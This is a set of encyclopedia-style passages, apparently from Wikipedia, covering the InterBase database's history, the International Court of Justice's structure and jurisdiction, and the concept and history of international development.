          Multiversion concurrency control also makes true snapshot transaction isolation relatively simple to implement. A transaction with snapshot isolation in InterBase shows the state of the database precisely as it was at the instant the transaction began. This is very useful for backups of an active database, long-running batch processes, and the like.


          


          Rollbacks and recovery


          InterBase also uses its multi-generational architecture to implement rollbacks. Most database servers use logs to implement the rollback feature, which can result in rollbacks taking a long time or possibly even requiring manual intervention. By contrast, InterBase's rollbacks are near-instantaneous and never fail.


          


          Drawbacks


          Certain operations are more difficult to implement in a multi-generational architecture, and hence perform slowly relative to a more traditional implementation. One example is the SQL COUNT verb. Even when an index is available on the column or columns included in the COUNT, all records must be visited in order to see if they are visible under the current transaction isolation.


          


          History


          


          Multiversion concurrency control before InterBase


          Multiversion concurrency control is described in some detail in sections 4.3 and 5.5 of the 1981 paper "Concurrency Control in Distributed Database Systems" by Philip Bernstein and Nathan Goodman -- then employed by the Computer Corporation of America. Bernstein and Goodman's paper cites a 1978 dissertation by D.P. Reed which quite clearly describes MVCC and claims it as an original work.


          


          Early years


          Jim Starkey was working at DEC on their Datatrieve network database product when he came up with an idea for a system to manage concurrent changes by many users. The idea dramatically simplified the existing problems of locking which were proving to be a serious problem for the new relational database systems being developed at the time. He started working on the system at DEC, but at the time DEC had just started a relational database effort which lead to the Rdb/VMS product. When they found out about his project a turf war broke out (although the product was released as Rdb/ELN), and Starkey eventually decided to quit.


          Although InterBase's implementation is much more similar to the system described by Reed in his MIT dissertation than any other database that existed at the time and Starkey knew Bernstein from his previous position at the Computer Corporation of America and later at DEC, Starkey has stated that he arrived at the idea of multiversion concurrency control independently. In the same comment, Starkey says:


          
            The inspiration for multi-generational concurrency control was a database system done by Prime that supported page level snapshots. The intention of the feature was to give a reader a consistent view of the database without blocking writers. The idea intrigued me as a very useful characteristic of a database system.

          


          He had heard that the local workstation vendor Apollo Computer was looking for a database offering on their Unix machines, and agreed to fund development. With their encouragement he formed Groton Database Systems (named after the town, Groton, Massachusetts, where they were located) on Labor Day 1984 and started work on what would eventually be released as InterBase in 1986. Apollo suffered a corporate shakeup and decided to exit the software business, but by this time the product was making money.


          


          The road to Borland


          Between 1986 and 1991 the product was gradually sold to Ashton-Tate, makers of the famous dBASE who were at the time purchasing various database companies in order to fill out their portfolio. The company was soon in trouble, and Borland purchased Ashton-Tate in 1991, acquiring InterBase as part of the deal.


          


          CodeGear


          CodeGear is a division of Embarcadero Technologies. On February 8 of 2006, Borland announced the intention to sell their line of development tool products, including InterBase, Delphi, JBuilder, and other tools. But instead of selling the divisions, Borland spun them out as a subsidiary on 14 November 2006. InterBase, along with IDE tools such as Delphi and JBuilder are included in the new company's product lineup. Then, on 7 May 2008, Borland and Embarcadero Technologies announced that Embarcadero had "signed a definitive asset purchase agreement to purchase CodeGear." The acquisition, for approximately $24.5 million, closed on 30 June 2008.


          


          Recent releases


          At the end of 2002, Borland released InterBase version 7, featuring support for SMP, enhanced support for monitoring and control of the server by administrators, and more. Borland released InterBase 7.1 in June 2003, 7.5 in December of 2004, and 7.5.1 on June 1, 2005.


          In September 2006, Borland announced the availability of InterBase 2007. Its new features include point in time recovery via journaling (which also allows recoverability without the performance penalty of synchronous writes), incremental backup, batch statement operations, new Unicode character encodings, and a new ODBC driver.


          
            Retrieved from " http://en.wikipedia.org/wiki/InterBase"
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          The International Court of Justice (known colloquially as the World Court or ICJ; French: Cour internationale de Justice) is the primary judicial organ of the United Nations. It is based in the Peace Palace in The Hague, Netherlands, sharing the building with the Hague Academy of International Law, a private centre for the study of international law. Several of the Court's current judges are either alumni or former faculty members of the Academy.


          Established in 1945 by the UN Charter, the Court began work in 1946 as the successor to the Permanent Court of International Justice. The Statute of the International Court of Justice, similar to that of its predecessor, is the main constitutional document constituting and regulating the Court. The ICJ should not be confused with the International Criminal Court, which also potentially has "global" jurisdiction.


          The Court's workload is characterised by a wide range of judicial activity. Its main functions are to settle legal disputes submitted to it by member states and to give advisory opinions on legal questions submitted to it by duly authorized international organs, agencies and the UN General Assembly. The ICJ has dealt with relatively few cases in its history, but there has clearly been an increased willingness to use the Court since the 1980s, especially among developing countries. The United States withdrew from compulsory jurisdiction in 1986, and so accepts the court's jurisdiction only on a case-to-case basis. Chapter XIV of the United Nations Charter authorizes the UN Security Council to enforce World Court rulings, but this is subject to the veto of the permanent five members of the Council. Presently there are twelve cases on the World Court's docket.


          


          Composition
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              Public hearing at the ICJ.
            

          


          The ICJ is composed of 15 judges elected to nine year terms by the UN General Assembly and the UN Security Council from a list of persons nominated by the national groups in the Permanent Court of Arbitration. The election process is set out in Articles 412 of the ICJ statute. Judges serve for nine year terms and may be re-elected for up to two further terms. Elections take place every three years, with one-third of the judges retiring (and possibly standing for re-election) each time, in order to ensure continuity within the court.


          Should a judge die in office, the practice has generally been to elect a judge of the same nationality to complete the term. No two may be nationals of the same country. According to Article 9, the membership of the Court is supposed to represent the "main forms of civilization and of the principal legal systems of the world". Essentially, this has meant common law, civil law and socialist law (now post-communist law). Since the 1960s four of the five permanent members of the Security Council (France, Russia, the United Kingdom, and the United States) have always had a judge on the Court. The exception was China (the Republic of China until 1971, the People's Republic of China from 1971 onwards), which did not have a judge on the Court from 19671985, because it did not put forward a candidate. The rule on a geopolitical composition of the bench exists despite the fact that there is no provision for it in the Statute of the ICJ.


          Article 2 of the Statute provides that all judges should be "elected regardless of their nationality among persons of high moral character", who are either qualified for the highest judicial office in their home states or known as lawyers with sufficient competence in international law. Judicial independence is dealt specifically with in Articles 16-18. Judges of the ICJ are not able to hold any other post, nor act as counsel. In practice the Members of the Court have their own interpretation of these rules. This allows them to be involved in outside arbitration and hold professional posts as long as there is no conflict of interest. A judge can be dismissed only by a unanimous vote of other members of the Court. Despite these provisions, the independence of ICJ judges has been questioned. For example, during the Nicaragua Case, the USA issued a communiqu suggesting that it could not present sensitive material to the Court because of the presence of judges from Eastern bloc states.


          Judges may deliver joint judgments or give their own separate opinions. Decisions and Advisory Opinions are by majority and, in the event of an equal division, the President's vote becomes decisive. Judges may also deliver separate dissenting opinions.


          


          Ad hoc judges


          Article 31 of the statute sets out a procedure whereby ad hoc judges sit on contentious cases before the Court. This system allows any party to a contentious case to nominate a judge of their choice (usually of their nationality), if a judge of their nationality is not already on the bench. Ad hoc judges participate fully in the case and the deliberations, along with the permanent bench. Thus, it is possible that as many as seventeen judges may sit on one case.


          This system may seem strange when compared with domestic court processes, but its purpose is to encourage states to submit cases to the Court. For example, if a state knows it will have a judicial officer who can participate in deliberation and offer other judges local knowledge and an understanding of the state's perspective, that state may be more willing to submit to the Court's jurisdiction. Although this system does not sit well with the judicial nature of the body, it is usually of little practical consequence. Ad hoc judges usually (but not always) vote in favour of the state that appointed them and thus cancel each other out.


          


          Chambers


          Generally, the Court sits as full bench, but in the last fifteen years it has on occasion sat as a chamber. Articles 26-29 of the statute allow the Court to form smaller chambers, usually 3 or 5 judges, to hear cases. Two types of chambers are contemplated by Article 26: firstly, chambers for special categories of cases, and second, the formation of ad hoc chambers to hear particular disputes. In 1993 a special chamber was established, under Article 26(1) of the ICJ statute, to deal specifically with environmental matters (although this chamber has never been used).


          Ad hoc chambers are more frequently convened. For example, chambers were used to hear the Gulf of Maine Case (USA v Canada). In that case, the parties made clear they would withdraw the case unless the Court appointed judges to the chamber who were acceptable to the parties. Judgments of chambers may have less authority than full Court judgments, or may diminish the proper interpretation of universal international law informed by a variety of cultural and legal perspectives. On the other hand, the use of chambers might encourage greater recourse to the Court and thus enhance international dispute resolution.


          


          Current composition


          As of March 2007, the composition of the Court is as follows:


          
            
              	Name

              	Country

              	Position

              	Elected

              	Term End
            


            
              	Dame Rosalyn Higgins

              	[image: Flag of the United Kingdom] United Kingdom

              	President

              	1995, 2000

              	2009
            


            
              	Awn Marie Ghanime

              	[image: Flag of Jordan] Jordan

              	Vice-President

              	2000

              	2009
            


            
              	Raymond Ranjeva

              	[image: Flag of Madagascar] Madagascar

              	Member

              	1991, 2000

              	2009
            


            
              	Shi Jiuyong

              	[image: Flag of the People's Republic of China] China

              	Member

              	1994, 2003

              	2012
            


            
              	Abdul G. Koroma

              	[image: Flag of Sierra Leone] Sierra Leone

              	Member

              	1994, 2003

              	2012
            


            
              	Gonzalo Parra Aranguren

              	[image: Flag of Venezuela] Venezuela

              	Member

              	1996, 2000

              	2009
            


            
              	Thomas Buergenthal

              	[image: Flag of the United States] United States

              	Member

              	2000, 2006

              	2015
            


            
              	Hisashi Owada

              	[image: Flag of Japan] Japan

              	Member

              	2003

              	2012
            


            
              	Bruno Simma

              	[image: Flag of Germany] Germany

              	Member

              	2003

              	2012
            


            
              	Peter Tomka

              	[image: Flag of Slovakia] Slovakia

              	Member

              	2003

              	2012
            


            
              	Ronny Abraham

              	[image: Flag of France] France

              	Member

              	2005

              	2014
            


            
              	Sir Kenneth Keith

              	[image: Flag of New Zealand] New Zealand

              	Member

              	2006

              	2015
            


            
              	Bernardo Seplveda Amor

              	[image: Flag of Mexico] Mexico

              	Member

              	2006

              	2015
            


            
              	Mohamed Bennouna

              	[image: Flag of Morocco] Morocco

              	Member

              	2006

              	2015
            


            
              	Leonid Skotnikov

              	[image: Flag of Russia] Russia

              	Member

              	2006

              	2015
            

          


          


          Jurisdiction


          As stated in Article 93 of the UN Charter, all 192 UN members are automatically parties to the Court's statute. Non-UN members may also become parties to the Court's statute under the Article 93(2) procedure. For example, before becoming member nations, Switzerland used this procedure in 1948 to become a party; Nauru also became a party in 1988. Once a state is a party to the Court's statute, it is entitled to participate in cases before the Court. However, being a party to the statute does not automatically give the Court jurisdiction over disputes involving those parties. The issue of jurisdiction is considered in the two types of ICJ cases: contentious issues and advisory opinions.


          


          Contentious issues (adversarial proceedings)


          In contentious cases (adversial proceedings seeking to settle a dispute), the ICJ produces a binding ruling between states that agree to submit to the ruling of the court. Only states may be parties in contentious cases. Individuals, corporations, parts of a federal state, NGOs, UN organs and self-determination groups are excluded from direct participation in cases, although the Court may receive information from public international organisations. This does not preclude non-state interests from being the subject of proceedings if one state brings the case against another. For example, a state may, in case of "diplomatic protection", bring a case on behalf of one of its nationals or corporations.


          Jurisdiction is often a crucial question for the Court in contentious cases. (See Procedure below.) The key principle is that the ICJ has jurisdiction only on the basis of consent. Article 36 outlines four bases on which the Court's jurisdiction may be founded.


          
            	First, 36(1) provides that parties may refer cases to the Court (jurisdiction founded on "special agreement" or "compromis"). This method is based on explicit consent rather than true compulsory jurisdiction. It is, perhaps, the most effective basis for the Court's jurisdiction because the parties concerned have a desire for the dispute to be resolved by the Court and are thus more likely to comply with the Court's judgment.


            	Second, 36(1) also gives the Court jurisdiction over "matters specifically provided for ... in treaties and conventions in force". Most modern treaties will contain a compromissory clause, providing for dispute resolution by the ICJ. Cases founded on compromissory clauses have not been as effective as cases founded on special agreement, since a state may have no interest in having the matter examined by the Court and may refuse to comply with a judgment. For example, during the Iran hostage crisis, Iran refused to participate in a case brought by the US based on a compromissory clause contained in the Vienna Convention on Diplomatic Relations, nor did it comply with the judgment. Since the 1970s, the use of such clauses has declined. Many modern treaties set out their own dispute resolution regime, often based on forms of arbitration.


            	Third, Article 36(2) allows states to make optional clause declarations accepting the Court's jurisdiction. The label "compulsory" which is sometimes placed on Article 36(2) jurisdiction is misleading since declarations by states are voluntary. Furthermore, many declarations contain reservations, such as exclusion from jurisdiction certain types of disputes ("ratione materia"). The principle of reciprocity may further limit jurisdiction. As of October 2006, sixty-seven states had a declaration in force. Of the permanent Security Council members, only the United Kingdom has a declaration. In the Court's early years, most declarations were made by industrialised countries. Since the Nicaragua Case, declarations made by developing countries have increased, reflecting a growing confidence in the Court since the 1980s. Industrialised countries however have sometimes increased exclusions or removed their declarations in recent years. Examples include the USA, as mentioned previously and Australia who modified their declaration in 2002 to exclude disputes on maritime boundaries (most likely to prevent an impending challenge from East Timor who gained their independence two months later).


            	Finally, 36(5) provides for jurisdiction on the basis of declarations made under the Permanent Court of International Justice's statute. Article 37 of the Statute similarly transfers jurisdiction under any compromissory clause in a treaty that gave jurisdiction to the PCIJ.


            	In addition, the Court may have jurisdiction on the basis of tacit consent ( forum prorogatum). In the absence of clear jurisdiction under Article 36, jurisdiction will be established if the respondent accepts ICJ jurisdiction explicitly or simply pleads on the merits. The notion arose in the Corfu Channel Case (UK v Albania) (1949) in which the Court held that a letter from Albania stating that it submitted to the jurisdiction of the ICJ was sufficient to grant the court jurisdiction.

          


          


          Advisory opinion


          An advisory opinion is a function of the Court open only to specified United Nations bodies and agencies. On receiving a request, the Court decides which States and organizations might provide useful information and gives them an opportunity to present written or oral statements. Advisory Opinions were intended as a means by which UN agencies could seek the Court's help in deciding complex legal issues that might fall under their respective mandates. In principle, the Court's advisory opinions are only consultative in character, though they are influential and widely respected. Whilst certain instruments or regulations can provide in advance that the advisory opinion shall be specifically binding on particular agencies or states, they are inherently non-binding under the Statute of the Court. This non-binding character does not mean that advisory opinions are without legal effect, because the legal reasoning embodied in them reflects the Court's authoritative views on important issues of international law and, in arriving at them, the Court follows essentially the same rules and procedures that govern its binding judgments delivered in contentious cases submitted to it by sovereign states. An advisory opinion derives its status and authority from the fact that it is the official pronouncement of the principal judicial organ of the United Nations.


          Advisory Opinions have often been controversial, either because the questions asked are controversial, or because the case was pursued as an indirect "backdoor" way of bringing what is really a contentious case before the Court. Examples of advisory opinions can be found in the section advisory opinions in the List of International Court of Justice cases article. One such well-known advisory opinion is the Nuclear Weapons Case.


          


          The ICJ and the Security Council


          Article 94 establishes the duty of all UN members to comply with decisions of the Court involving them. If parties do not comply, the issue may be taken before the Security Council for enforcement action. There are obvious problems with such a method of enforcement. If the judgment is against one of the permanent five members of the Security Council or its allies, any resolution on enforcement would then be vetoed. This occurred, for example, after the Nicaragua case, when Nicaragua brought the issue of the U.S.'s non-compliance with the Court's decision before the Security Council. Furthermore, if the Security Council refuses to enforce a judgment against any other state, there is no method of forcing the state to comply.


          The relationship between the ICJ and the Security Council, and the separation of their powers, was considered by the Court in 1992 in the Pan Am case. The Court had to consider an application from Libya for the order of provisional measures to protect its rights, which, it alleged, were being infringed by the threat of economic sanctions by the United Kingdom and United States. The problem was that these sanctions had been authorised by the Security Council, which resulted with a potential conflict between the Chapter VII functions of the Security Council and the judicial function of the Court. The Court decided, by eleven votes to five, that it could not order the requested provisional measures because the rights claimed by Libya, even if legitimate under the Montreal Convention, prima facie could not be regarded as appropriate since the action was ordered by the Security Council. In accordance with Article 103 of the UN Charter, obligations under the Charter took precedence over other treaty obligations. Nevertheless the Court declared the application admissible in 1998. A decision on the merits has not been given since the parties (United Kingdom, United States and Libya) settled the case out of court in 2003.


          There was a marked reluctance on the part of a majority of the Court to become involved in a dispute in such a way as to bring it potentially into conflict with the Council. The Court stated in the Nicaragua case that there is no necessary inconsistency between action by the Security Council and adjudication by the ICJ. However, where there is room for conflict, the balance appears to be in favour of the Security Council.


          Should either party fail "to perform the obligations incumbent upon it under a judgment rendered by the Court", the Security Council may be called upon to "make recommendations or decide upon measures" if the Security Council deems such actions necessary. In practice, the Court's powers have been limited by the unwillingness of the losing party to abide by the Court's ruling, and by the Security Council's unwillingness to impose consequences. However, in theory, "so far as the parties to the case are concerned, a judgment of the Court is binding, final and without appeal," and "by signing the Charter, a State Member of the United Nations undertakes to comply with any decision of the International Court of Justice in a case to which it is a party."


          For example, the United States had previously accepted the Court's compulsory jurisdiction upon its creation in 1946, but in Nicaragua v. United States withdrew its acceptance following the Court's judgment in 1984 that called on the U.S. to "cease and to refrain" from the "unlawful use of force" against the government of Nicaragua. The Court ruled (with only the American judge dissenting) that the United States was "in breach of its obligation under the Treaty of Friendship with Nicaragua not to use force against Nicaragua" and ordered the United States to pay war reparations (see note 2).


          Examples of contentious cases include:


          
            	A complaint by the United States in 1980 that Iran was detaining American diplomats in Tehran in violation of international law.


            	A dispute between Tunisia and Libya over the delimitation of the continental shelf between them.


            	A dispute over the course of the maritime boundary dividing the U.S. and Canada in the Gulf of Maine area.


            	A complaint by the Federal Republic of Yugoslavia against the member states of the North Atlantic Treaty Organisation regarding their actions in the Kosovo War. This was denied on 15 December 2004 due to lack of jurisdiction, because the FRY was not a party to the ICJ statute at the time it made the application.

          


          Generally, the Court has been most successful resolving border delineation and the use of oceans and waterways. While the Court has, in some instances, resolved claims by one State espoused on behalf of its nationals, the Court has generally refrained from hearing contentious cases that are political in nature, due in part to its lack of enforcement mechanism and its lack of compulsory jurisdiction. The Court has generally found it did not have jurisdiction to hear cases involving the use of force..


          


          Law applied


          When deciding cases, the Court applies international law as summarised in Article 38. Article 38 of the ICJ Statute provides that in arriving at its decisions the Court shall apply international conventions, international custom, and the "general principles of law recognized by civilized nations". It may also refer to academic writing ("the teachings of the most highly qualified publicists of the various nations") and previous judicial decisions to help interpret the law, although the Court is not formally bound by its previous decisions under the doctrine of stare decisis. Article 59 makes clear that the common law notion of precedent or stare decisis does not apply to the decisions of the ICJ. The Court's decision binds only the parties to that particular controversy. Under 38(1)(d), however, the Court may consider its own previous decisions. In reality, the ICJ rarely departs from its own previous decisions and treats them as precedent in a way similar to superior courts in common law systems. Additionally, international lawyers commonly operate as though ICJ judgments had precedential value.


          If the parties agree, they may also grant the Court the liberty to decide ex aequo et bono ("in justice and fairness"), granting the ICJ the freedom to make an equitable decision based on what is fair under the circumstances. This provision has not been used in the Court's history. So far the International Court of Justice has dealt with about 130 cases.


          


          Procedure


          The ICJ is vested with the power to make its own rules. Court procedure is set out in Rules of Court of the International Court of Justice 1978 (as amended on 29 September 2005).


          Cases before the ICJ will follow a standard pattern. The case is lodged by the applicant who files a written memorial setting out the basis of the Court's jurisdiction and the merits of its claim. The respondent may accept the Court's jurisdiction and file its own memorial on the merits of the case.


          


          Preliminary objections


          A respondent who does not wish to submit to the jurisdiction of the Court may raise Preliminary Objections. Any such objections must be ruled upon before the Court can address the merits of the applicant's claim. These objections must be ruled upon by the Court before it can proceed on the merits. Often a separate public hearing is held on the Preliminary Objections and the Court will render a judgment. Respondents normally file Preliminary Objections to the jurisdiction of the Court and/or the admissibility of the case. Inadmissibility refers to a range of arguments about factors the Court should take into account in deciding jurisdiction; for example, that the issue is not justiciable or that it is not a "legal dispute".


          In addition, objections may be made because all necessary parties are not before the Court. If the case necessarily requires the Court to rule on the rights and obligations of a state that has not consented to the Court's jurisdiction, the Court will not proceed to issue a judgment on the merits.


          If the Court decides it has jurisdiction and the case is admissible, the respondent will then be required to file a Memorial addressing the merits of the applicant's claim. Once all written arguments are filed, the Court will hold a public hearing on the merits.


          Once a case has been filed, any party (but usually the Applicant) may seek an order from the Court to protect the status quo pending the hearing of the case. Such orders are known as Provisional (or Interim) Measures and are analogous to interlocutory injunctions in United States law. Article 41 of the statute allows the Court to make such orders. The Court must be satisfied to have prima facie jurisdiction to hear the merits of the case before granting provisional measures.


          


          Applications to intervene


          In cases where a third state's interests are affected, that state may be permitted to intervene in the case, and participate as a full party. Under Article 62, a state "with an interest of a legal nature" may apply; however, it is within the Court's discretion whether or not to allow the intervention. Intervention applications are rare - the first successful application occurred in 1990.


          


          Judgment and remedies


          Once deliberation has taken place, the Court will issue a majority opinion. Individual judges may issue separate opinions (if they agree with the outcome reached in the judgment of the court but differ in their reasoning) or dissenting opinions (if they disagree with the majority). No appeal is possible, though any party may ask for the court to clarify if there is a dispute as to the meaning or scope of the court's judgment.


          


          Criticisms


          The International Court has been criticised with respect to its rulings, its procedures, and its authority. As with United Nations criticisms as a whole, many of these criticisms refer more to the general authority assigned to the body by member states through its charter than to specific problems with the composition of judges or their rulings. Major criticisms include:


          
            	"Compulsory" jurisdiction is limited to cases where both parties have agreed to submit to its decision, and, as such, instances of aggression tend to be automatically escalated to and adjudicated by the Security Council.


            	Organizations, private enterprises, and individuals cannot have their cases taken to the International Court, such as to appeal a national supreme court's ruling. U.N. agencies likewise cannot bring up a case except in advisory opinions (a process initiated by the court and non-binding).


            	Other existing international thematic courts, such as the ICC, are not under the umbrella of the International Court.


            	The International Court does not enjoy a full separation of powers, with permanent members of the Security Council being able to veto enforcement of even cases to which they consented in advance to be bound.
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          International development is a concept that lacks a universally accepted definition, but it is most used in a holistic and multi-disciplinary context of human development - the development of livelihoods and greater quality of life for humans. It therefore encompasses governance, healthcare, education, gender equality, disaster preparedness, infrastructure, economics, human rights, environment and issues associated with these.


          International development is by definition a process undertaken by countries and communities with assistance from other nations' governments and communities, from international Non-Governmental Organisations (such as charities) or from intergovernmental organisations (such as the United Nations, the International Monetary Fund and the World Bank). As such it is distinct from development which would take place anyway, without international involvement.


          International development is also distinct from, though conceptually related to, disaster relief and humanitarian aid. While these two forms of international support seek to alleviate some of the problems associated with a lack of development, they are most often short term fixes - they are not necessarily sustainable solutions. International development, on the other hand, seeks to implement long-term solutions to problems by helping developing countries create the necessary capacity needed to provide such sustainable solutions to their problems. A truly sustainable development project is one which will be able to carry on indefinitely with no further international involvement or support, whether it be financial or otherwise.


          International development projects may consist of a single, transformative project to address a specific problem or a series of projects targeted at several aspects of society.


          


          History


          Although international relations and international trade have existed for many hundreds of years it is only in the past century that international development theory emerged as a separate body of ideas. More specifically, it has been suggested that 'the theory and practice of development is inherently technocratic, and remains rooted in the high modernist period of political thought that existed in the immediate aftermath of the Second World War'.


          


          Post World War II


          The second half of the 20th century has been called the 'era of development'. The origins of this era have been attributed to:


          
            	the need for reconstruction in the immediate aftermath of World War II;


            	the evolution of colonialism or "colonization" into globalization and the establishment of new free trade policies between so-called 'developed' and 'underdeveloped' nations.


            	the start of the Cold War and the desire of the United States and its allies to prevent the Third World from drifting towards communism.

          


          It has been argued that this era was launched on January 20th, 1949, when Harry S. Truman made these remarks in his inaugural address:


          
            
              	

              	We must embark on a bold new program for making the benefits of our scientific advances and industrial progress available for the improvement and growth of underdeveloped areas. The old imperialism - exploitation for foreign profit - has no place in our plans. What we envisage is a program of development based on the concept of democratic fair dealing.

              	
            


            
              	
                Harry S. Truman, 1949

              
            

          


          Before this date, however, the United States had already taken a leading role in the creation of the International Bank for Reconstruction and Development (now part of the World Bank Group) and the International Monetary Fund (IMF), both established in 1944, and in the United Nations in 1945.


          The launch of the Marshall Plan was another important step in the setting the agenda for international development, combining humanitarian goals with the creation of a political and economic bloc in Europe that was allied to the U.S. This agenda was given conceptual support during the 1950s in the form of modernization theory espoused by Walt Rostow and other American economists. The changes in the 'developed' world's approach to international development were further necessitated by the gradual collapse of Western Europe's empires over the next decades; now independent ex-colonies no longer received support in return for their subjugation.


          By the late 1960s, the critics of modernization were advancing a dependency theory to explain the evolving relationship between the West and the Third World. In the 1970s and early 80's, the modernists at the World Bank and IMF adopted the neoliberal ideas of economists such as Milton Friedman or Bela Balassa, which were implemented in the form of structural adjustment programs, while their opponents were promoting various 'bottom up' approaches, ranging from civil disobedience and conscientization to appropriate technology and Rapid Rural Appraisal.


          In response various parts of the UN system led a counter movement, which in the long run has proved to be successful. They were led initially by the International Labour Organization (ILO), influenced by Paul Streeten, then by UNICEF . Then UNDP, even though headed by a conservative US republican, put forward the concept of Human Development, thanks to Mahboub ul Haq and Amartya Sen, thus changing the nature of the development dialogue to focus on human needs and capabilities.


          By the 1990s, there were some writers for whom development theory had reached an impasse and some academics were imagining a postdevelopment era. The Cold War had ended, capitalism had become the dominant mode of social organization, and UN statistics showed that living standards around the world had improved over the past 40 years. Nevertheless, a large portion of the world's population were still living in poverty, their governments were crippled by debt and concerns about the environmental impact of globalization were rising.


          In response to the impasse, the rhetoric of development is now focusing on the issue of poverty, with the metanarrative of modernization being replaced by shorter term vision embodied by the Millennium Development Goals. At the same time, some development agencies are exploring opportunities for public-private partnerships and promoting the idea of Corporate social responsibility with the apparent aim of integrating international development with the process of economic globalization.


          The critics have suggested that this integration has always been part of the underlying agenda of development. They argue that poverty can be equated with powerlessness, and that the way to overcome poverty is through emancipatory social movements and civil society, not paternalistic aid programmes or corporate charity.


          While some critics have been debating the end of development others have predicted a development revival as part of the War on Terrorism. To date, however, there is limited evidence to support the notion that aid budgets are being used to counter islamic fundamentalism in the same way that they were used 40 years ago to counter communism.


          


          Theories


          


          Millennium Development Goals


          In the year 2000, United Nations signed the United Nations Millennium Declaration, which includes eight Millennium Development Goals to be achieved by 2015 or 2020. This represented the first time that a holistic strategy to meet the development needs of the world has been established, with measureable targets and defined indicators


          Because the MDGs are a multilateral United Nations programme, they are more removed from (but by no means independent of) individual national interests than unilateral development programmes, which are consistently subject to claims that they are used to further national economic interests or ideology, often with considerable justification.


          The first seven Millennium Development Goals present measurable goals, while the eighth lists a number of 'stepping stone' goals - ways in which progress towards the first seven goals could be made.


          The MDGs have catalysed a significant amount of action, including new initiatives such as Millennium Promise. Most of these initiatives however work in small scale interventions which do not reach the millions of people required by the MDGs.


          Recent praise has been that it will be impossible to meet the first seven goals without meeting the eighth by forming a Global Partnership for Development. No current organisation has the capacity to dissolve the enormous problems of the developing world alone - especially in cities, where an increasing number of poor people live - as demonstrated by the almost existant progress on the goal of improving the lives of at least 100 Million slum dwellers.


          The Institution of Civil Engineers Engineering With Frontiers panel and its recommendations, and the 2007 Brunel Lecture by the ICE's future president Paul Jowitt, are representative of a change of approach in the UK at least to start drawing together the huge capacity available to western governments, industry, academia and charity to develop such a partnership.

          



          



          


          Concepts


          During recent decades, development thinking has shifted from modernization and structural adjustment programs to poverty reduction. Under the former system, poor countries were encouraged to undergo social and economical structural transformations as part of their development, creating industrialization and intentional industrial policy. Poverty reduction rejects this notion, consisting instead of direct budget support for social welfare programs that create macroeconomic stability leading to an increase in economic growth.


          


          Poverty


          The concept of poverty can apply to different circumstances depending on context. Poverty is the condition of lacking economic access to fundamental human needs such as food, shelter and safe drinking water. While some define poverty primarily in economic terms, others consider social and political arrangements also to be intrinsic - often manifested in a lack of dignity.


          


          Dignity


          Modern poverty reduction and development programmes often have dignity as a central theme. Dignity is also a central theme of the Universal Declaration of Human Rights, the very first article of which starts with:


          
            	"All human beings are born free and equal in dignity and rights."

          


          The concept of dignity in development has been extensively explored by many, and related to all of the development sectors. For example, in Development with Dignity Amit Bhaduri argues that full employment with dignity for all is both important and possible in India, while the UN Millennium Project's task force on Water and Sanitation links the sector directly to dignity in the report Health, Dignity and Development: What will it take?. The Asian Human Rights Commission released a statement in 2006 claiming that:


          
            
              	

              	Human dignity is the true measure of human development.

              	
            


            
              	
                Asian Human Rights Commission & People's Vigilance Committee for Human Rights press release

              
            

          


          


          Participation


          The concept of participation is concerned with ensuring that the intended beneficiaries of development projects and programmes are themselves involved in the planning and execution of those projects and programmes. This is considered important as it empowers the recipients of development projects to influence and manage their own development - thereby removing any culture of dependency. It is widely considered to be one of the most important concepts in modern development theory.. The UN System Network on Rural Development and Food Security describes participation as:


          
            
              	

              	one of the ends as well as one of the means of development

              	
            


            
              	
                UN System Network on Rural Development and Food Security

              
            

          


          Local participants in development projects are often products of oral communities. This has led to efforts to design project planning and organizational development methods, such as participatory rural appraisal, which are accessible to non-literate people.


          


          Appropriateness


          The concept of something being appropriate is concerned with ensuring that a development project or programme is of the correct scale and technical level, and is culturally and socially suitable for its beneficiaries. This should not be confused with ensuring something is low-tech, cheap or basic - a project is appropriate if it is acceptable to its recipients and owners, economically affordable and sustainable in the context in which it is executed.


          For example, in a rural sub-Saharan community it may not be appropriate to provide a chlorinated and pumped water system because it cannot be maintained or controlled adequately - simple handpumps may be better; while in a big city in the same country it would be inappropriate to provide water with handpumps, and the chlorinated system would be the correct response.


          The economist E. F. Schumacher championed the cause of appropriate technology and founded the organization ITDG (Intermediate Technology Design Group), which develops and provides appropriate technologies for development (ITDG has now been renamed Practical Action).


          The concept of right-financing has been developed to reflect the need for public and private financial support systems that foster and enable development, rather than hinder it.


          


          Sustainability
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          A sustainable approach to development is one which takes account of economic, social and environmental factors to produce projects and programmes which will have results which are not dependent on finite resources. Something which is sustainable will not use more natural resources than the local environment can supply; more financial resources than the local community and markets can sustain; and will have the necessary support from the community, government and other stakeholders to carry on indefinitely.


          It is one of the key concepts in international development, and is critical in removing dependency on overseas [Aid|aid]].


          


          Capacity building


          Capacity building is concerned with increasing the ability of the recipients of development projects to continue their future development alone, without external support. It is a parallel concept to sustainability, as it furthers the ability of society to function independently in its own microcosm.


          


          Practice


          


          Measurement
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          The judging of how developed a country or a community is highly subjective, often highly controversial, and very important in judging what further development is necessary or desirable.


          There are many different measures of human development, many of them related to the different sectors above. Some of them are:


          
            	National GDP


            	Literacy rates


            	Life expectancy


            	Human Development Index


            	Gini coefficient


            	Per capita income


            	Maternal survival rate


            	HIV infection rates


            	Number of doctors per capita

          


          


          Migration and remittance


          Migration has throughout history also led to significant international development. As people move, their culture, knowledge, skills and technologies move with them. Migrants' ties with their past homes and communities lead to international relationships and further flows of goods, capital and knowledge. The value of remittances sent home by migrants in modern times is much greater than the total in international aid given.


          


          Sectors


          International development and disaster relief are both often grouped into sectors, which correlate with the major themes of international development (and with the Millennium Development Goals - which are included in the descriptions below). There is no clearly defined list of sectors, but some of the more established and universally accepted sectors are further explored here. The sectors are highly interlinked, illustrating the complexity of the problems they seek to deal with.


          


          Water and sanitation


          In development, this is the provision of water and sanitary provision ( toilets, bathing facilities, a healthy environment) of sufficient quantity and quality to supply an acceptable standard of living. This is different to a relief response, where it is the provision of water and sanitation in sufficient quantity and quality to maintain life .


          The provision of water and sanitation is primarily an engineering challenge, but also often includes an education element and is closely connected with shelter, politics and human rights.


          The seventh Millennium Development Goal is to ensure environmental sustainability, including reducing by half the proportion of people without sustainable access to safe drinking water and achieving significant improvement in lives of at least 100 million slum dwellers, by 2020


          Examples of organisations specialising in Water & Sanitation are:


          
            	Oxfam


            	Water 1st International


            	WaterAid


            	WaterPartners International

          


          


          Health


